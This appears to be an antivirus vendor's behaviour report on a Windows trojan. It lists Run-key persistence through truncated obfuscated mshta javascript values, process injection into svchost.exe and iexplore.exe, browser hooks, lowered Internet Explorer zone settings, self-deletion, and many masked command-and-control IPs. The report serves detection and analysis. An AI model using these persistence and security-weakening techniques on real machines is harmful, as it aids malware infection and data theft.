Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'fd0df85' = 'mshta javascript:Dxy4ZYmK="YLL5bihc1";aG27=new%20ActiveXObject("WScript.Shell");LWP4qTY5eE="0T";KK4mP=aG27.RegRe...
- [<HKLM>\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'f04ad44b' = 'mshta javascript:uDhg6pO="g5";MV4=new%20ActiveXObject("WScript.Shell");GQj42xdL="N";mD83Dv=MV4...
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'fd0df85' = 'mshta javascript:mT1KaAJX="HO8eC7ZQK";ym52=new%20ActiveXObject("WScript.Shell");mZoK68Fhp="eEaQ650Z";e08xfQ=ym52.RegRead("HK...
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- firefox.exe process, advapi32.dll module
- iexplore.exe process, advapi32.dll module
Modifies settings of Windows Internet Explorer
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
Modifies file system
Deletes itself.
Network activity
Connects to
- '17#.#26.153.243':80
- '10#.#63.83.109':8080
- '60.##8.138.85':80
- '70.#05.14.1':80
- '21#.#27.211.73':80
- '99.##.134.84':80
- '24#.#.29.253':80
- '91.##.98.153':80
- '63.##5.130.58':80
- '11#.#2.220.22':80
- '17#.13.76.8':80
- '16#.#84.243.111':80
- '61.##.166.162':80
- '15#.#38.62.28':80
- '66.#9.5.141':80
- '57.##6.198.210':80
- '10#.5.251.4':443
- '17.##.242.242':80
- '14#.#40.26.120':80
- '13#.#5.77.55':80
- '49.##8.212.238':80
- '18#.#80.135.112':80
- '21#.#0.233.184':80
- '26.#.64.142':80
- '93.##.255.217':80
- '78.##4.237.186':80
- '10.##4.241.90':80
- '15#.#99.131.129':8080
- '23#.#21.92.165':80
- '57.#.89.97':443
- '72.##5.203.22':80
- '15#.#93.131.158':80
- '15#.#87.92.233':80
- '20#.#2.52.179':443
- '83.##7.224.184':80
- '28.##6.166.226':80
- '20.##.101.53':80
- '11#.#18.143.179':80
- '14#.#78.210.91':80
- '15#.#8.39.163':80
- '97.##0.218.43':80
- '21#.#1.31.87':80
- '17#.#17.40.23':80
- '42.#2.12.91':80
- '21#.#38.227.69':80
- '23#.#7.112.56':80
- '14#.#32.186.92':80
- '10#.#92.98.54':80
- '56.##0.183.191':8080
- '30.##.234.216':80
- '19#.#50.191.215':80
- '13#.#47.7.183':80
- '12.##2.231.154':443
- '21#.#24.234.159':80
- '10#.#.139.119':80
- '17#.#3.31.191':80
- '18#.#39.115.79':443
- '21#.#55.140.99':80
- '42.##8.203.54':80
- '20#.#6.239.148':8080
- '21#.#42.19.40':80
- '28.##9.169.20':8080
- '15#.#45.253.247':80
- '18#.#85.39.66':80
- '60.#88.77.9':80
- '20#.#41.98.66':80
- '79.##3.165.169':80
- '17.##1.239.58':80
- '10#.#7.207.147':80
- '17.##2.213.237':80
- '39.##0.132.219':443
- '79.#4.8.234':80
- '22#.#7.100.58':8080
- '22#.#00.182.227':80
- '37.##2.76.252':80
- '29.##.247.67':80
- '11.##.163.232':80
- '12.##1.195.104':80
- '12#.#2.204.1':443
- '32.#18.46.1':8080
- '13#.#33.198.130':80
- '23#.#4.174.126':80
- '23#.#48.47.248':80
- '21#.#38.30.65':80
- '12#.#2.220.20':80
- '15#.#.133.48':80
- '87.##.11.156':80
- '16.##0.25.235':80
- '17#.#4.54.210':80
- '71.##4.37.212':80
- '22#.#34.157.106':80
- '14#.#64.181.132':80
- '72.##4.93.193':80
- '92.##1.15.93':443
- '67.##.247.81':443
- '11#.#20.255.85':80
- '26.##6.146.206':80
- '14#.#.141.60':80
- '22#.#19.124.65':80
- '21#.#9.137.179':80
- '15#.#9.193.225':80
- '23.##.106.106':80
- '28.##5.149.170':443
- '23#.#03.11.241':80
- '78.##5.55.254':80
- '20.##8.91.28':80
- '24.##.107.127':80
- '11#.#41.212.254':8080
- '15#.#72.136.129':80
- '12#.#9.49.163':80
- '14#.#00.113.50':80
- '11#.#8.63.153':80
- '18#.#95.131.95':443
- '74.##0.83.250':80
- '12#.#1.167.10':80
- '16#.#4.222.182':80
- '44.##9.148.151':8080
- '24#.#7.242.135':80
- '55.##.82.154':80
- '15.##8.107.51':80
- '89.#.125.177':80
- '13#.#4.176.149':80
- '11#.#39.241.14':80
- '12#.#9.14.139':80
- '18#.#0.54.253':80
- '10#.#20.252.217':80
- '71.##.123.16':80
- '18#.#5.109.84':80
- '19#.#4.6.245':80
- '17#.#84.51.57':80
- '95.##.27.203':80
- '15#.#18.147.45':80
- '25#.#37.243.44':80
- '14#.#0.250.139':80
- '16#.#79.162.30':80
- '21#.#54.237.167':80
- '36.##.91.179':80
- '83.#.172.92':80
- '15.##.174.55':80
- '14#.#5.230.166':80
- '22#.#22.74.25':80
- '18#.#42.171.18':80
- '18#.#18.243.209':8080
- '18#.#86.110.127':80
- '18#.#33.25.57':80
- '14#.#1.246.55':80
- '12.##4.17.125':80
- '57.##9.74.193':80
- '74.#6.71.48':80
- '24.##0.110.70':443
- '15#.#1.191.12':80
- '18#.#8.177.142':80
- '10#.#46.210.223':80
- '50.##8.109.148':80
- '30.#16.3.85':80
- '13#.#8.186.97':80
- '10#.59.60.6':443
- '14#.#65.139.217':80
- '23.##4.204.148':80
- '58.##0.128.93':80
- '24#.#14.93.60':80
TCP
HTTP POST requests
- http://15#.#.133.48/
Other
- '15#.#.133.48':80
Miscellaneous
Executes the following
- '%WINDIR%\syswow64\svchost.exe'
